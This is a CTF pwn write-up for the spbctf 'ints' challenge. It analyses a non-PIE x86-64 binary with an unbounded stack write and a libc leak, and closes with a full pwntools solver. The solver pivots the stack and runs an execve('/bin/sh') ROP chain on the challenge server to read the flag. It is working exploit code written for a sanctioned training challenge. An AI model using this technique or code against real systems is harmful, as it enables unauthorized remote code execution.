ints (ret2libc 10)
ints (ret2libc 10)
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: execve_rop, function_pointer_hijack, libc_base_leak_via_proc_maps, stack_pivot_add_rsp, unbounded_index_stack_write
Summary
Task: NON-PIE x86-64 ELF with a menu loop that writes user qwords into a fixed-size stack array with NO bounds check (unbounded sequential stack write), plus a /proc/self/maps libc leak; an on-stack function pointer is invoked via call rdx. Solution: overwrite the called pointer with an 'add rsp,0x18; ret' stack-pivot gadget to realign and land in a planted execve("/bin/sh",0,0) ROP chain, sidestepping the system() movaps alignment crash and the decoy exit command.
ints (ret2libc 10) — pwn_spbctf
Description
ints — ret2libc 10. nc 109.233.56.90 11635. Author: George Zaytsev (groke). pwn.spbctf.ru. Files: task_simple, libc-2.31.so, ld-2.31.so (Debian glibc 2.31-3).
64-bit x86-64 ELF task_simple: NON-PIE (base 0x400000), NX enabled, NO stack
canary, Partial RELRO. Remote pwn — read /flag.txt and POST the flag. The
provided libc/ld pin the target to Debian glibc 2.31-3.
Analysis
Reversed functions:
read_n @0x401186— bounded read.readint @0x401201—atollof up to0x1ebytes → signed 64-bit decimal.print @0x401225— printsidx: %d val: %llxforarray[0..9].logic @0x40127b— the menu loop (details below).drop_address @0x401373— opens/proc/self/maps,read(0x1000),puts(). This leaks the libc base: parse the first/libc-2.31.somapping start (e.g.0x7ffff7e05000). Consumed withrecvuntil("-> add number").main @0x4013d9.
logic() layout (verified)
logic keeps a 10-qword array at rsp and a function pointer print at
rsp+0x68 (= array index 13). Its frame is 0x88, so the saved return
address sits at rsp+0x88 (= index 17).
Menu commands:
- cmd 1 "add number" —
readint()value stored as a qword at[rsp + 8*counter]; thecounteris a dword atrsp+0x74, thencounter++. There is NO bounds check → arbitrary sequential stack write. - cmd 2 "print array" —
rdx = [rsp+0x68](=array[13]),rdi = rsp, thencall rdx. Defaultrdx = print. - cmd 3 "exit" — a TROLL: it sets
[rsp+0x78] = 0, and the loop continues while[rsp+0x78] == 0. So cmd 3 never exits.
Index / counter map (confirmed by add(123); add(456) → idx0=0x7b,
idx1=0x1c8):
| Address | Meaning |
|---|---|
rsp+8k | array[k] |
rsp+0x68 | array[13] = the print function pointer (rdx for call rdx) |
rsp+0x74 | counter dword = HIGH dword of array[14] |
rsp+0x78 | exit-flag = LOW dword of array[15] |
rsp+0x88 | saved RIP = array[17] |
| |
Dead-ends ruled out
array[13] = systemthen cmd 2 →system(rsp)with "/bin/sh" planted. FAILS: atcall rdx,rsp % 16 != 0, sodo_systemhits amovapson a misaligned stack and crashes.- Overwrite saved RIP (index 17) then "exit" via cmd 3. IMPOSSIBLE in one
run: cmd 3 doesn't actually exit (it zeroes the exit-flag), and the monotonic
counter plus the single counter-control trick (writing
array[14]sets the counter from its high dword → grants only ONE jump) cannot simultaneously place a chain at index 17 and make the exit-flag (index 15) nonzero last.
Solution
Hijack the call rdx in cmd 2 with a libc stack-pivot gadget instead of
calling system directly.
At call rdx, rsp = orig_rsp - 8. Set array[13] to
add rsp,0x18 ; ret (libc_base + 0x34f36):
add rsp,0x18→rsp = orig_rsp + 0x10.retpopsarray[2]as the new RIP and continues a ROP chain inarray[2..8].
Landing index = (pivot_imm - 8) / 8 = (0x18 - 8)/8 = index 2.
The chain is plain execve("/bin/sh", 0, 0) — no alignment/register
constraints, because this libc's execve is mov eax,0x3b; syscall, which
sidesteps the system() movaps crash entirely:
pop_rdi (libc+0x2679e) ; "/bin/sh" (libc+0x18a156)
pop_rsi (libc+0x288df) ; 0
pop_rdx (libc+0xcb28d) ; 0
execve (libc+0xcb780)
All values are written via cmd 1 (atoll, signed 64-bit decimal); the libc
addresses fit in positive int64. Place /bin/sh and the chain at the right
indices, set array[13] = pivot, then send cmd 2 to trigger.
Verified locally (docker amd64 + provided ld/libc, id → uid=0) and remotely
(interactive shell, cat /flag.txt).
python read-only • copy allowed#!/usr/bin/env python3 # ints_task_simple solver. from pwn import * context.arch='amd64'; context.log_level='info' HOST,PORT='109.233.56.90',11635 libc=ELF('ints_libc-2.31.so') io=remote(HOST,PORT) maps=io.recvuntil(b'-> add number',timeout=8) base=None for line in maps.split(b'\n'): if b'libc-2.31.so' in line: base=int(line.split(b'-')[0],16); break assert base, "no libc base" log.success("libc base %#x"%base) POP_RDI = base+0x2679e POP_RSI = base+0x288df POP_RDX = base+0xcb28d EXECVE = base+libc.symbols['execve'] # 0xcb780 : mov eax,0x3b; syscall BINSH = base+next(libc.search(b'/bin/sh')) PIVOT = base+0x34f36 # add rsp, 0x18 ; ret def add(val): val &= (1<<64)-1 io.sendline(b'1') io.recvuntil(b'Enter your number:') io.sendline(str(val).encode()) # ROP chain placed in array slots; pivot `add rsp,0x18` lands ret at array[2]. chain = { 2: POP_RDI, 3: BINSH, 4: POP_RSI, 5: 0, 6: POP_RDX, 7: 0, 8: EXECVE, 13: PIVOT, # rdx for `call rdx` in cmd2 } # write array[0..13] sequentially (counter 0->14) for i in range(14): add(chain.get(i, 0)) # trigger: cmd2 -> rdi=&array, call rdx(=PIVOT) -> pivot -> ret into chain@array[2] io.sendline(b'2') io.sendline(b'cat /flag.txt; id') print(io.recvrepeat(3).decode(errors='replace')) io.interactive()